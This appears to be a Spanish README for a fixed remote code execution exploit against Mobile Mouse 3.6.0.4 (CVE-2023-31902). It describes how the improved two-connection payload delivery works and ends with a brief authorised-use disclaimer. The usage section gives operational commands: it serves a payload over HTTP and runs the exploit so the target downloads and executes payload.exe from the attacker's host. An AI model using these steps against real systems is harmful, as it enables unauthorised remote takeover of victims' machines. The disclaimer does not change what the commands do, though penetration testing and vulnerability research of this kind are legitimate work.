Mobile Mouse 3.6.0.4 RCE - Corrección

Una versión corregida del exploit de ejecución remota de código de Mobile Mouse 3.6.0.4 publicado como EDB-51010.

Vulnerabilidad

• CVE: CVE-2023-31902
• Versión afectada: Mobile Mouse 3.6.0.4
• Puerto predeterminado: TCP/9099

Qué se corrigió

El exploit original descarga correctamente el payload, pero puede fallar al ejecutarlo porque ambas etapas usan la misma conexión TCP.

Esta versión:

• Descarga el payload a través de la primera sesión
• Espera a que la descarga se complete
• Abre una conexión nueva
• Repite el handshake de Mobile Mouse
• Ejecuta el payload descargado

También usa sendall(), rutas de Windows correctamente escapadas, timeouts de socket y manejo básico de errores.

Uso

Inicie un servidor HTTP en el directorio del payload:

python3 -m http.server 8080

Ejecute el exploit:

python3 exploit.py \
  --target 192.168.1.50 \
  --lhost 192.168.1.10 \
  --file payload.exe

Aviso legal

Este proyecto está destinado únicamente a pruebas de seguridad autorizadas e investigación educativa. No lo utilice contra sistemas sin permiso explícito.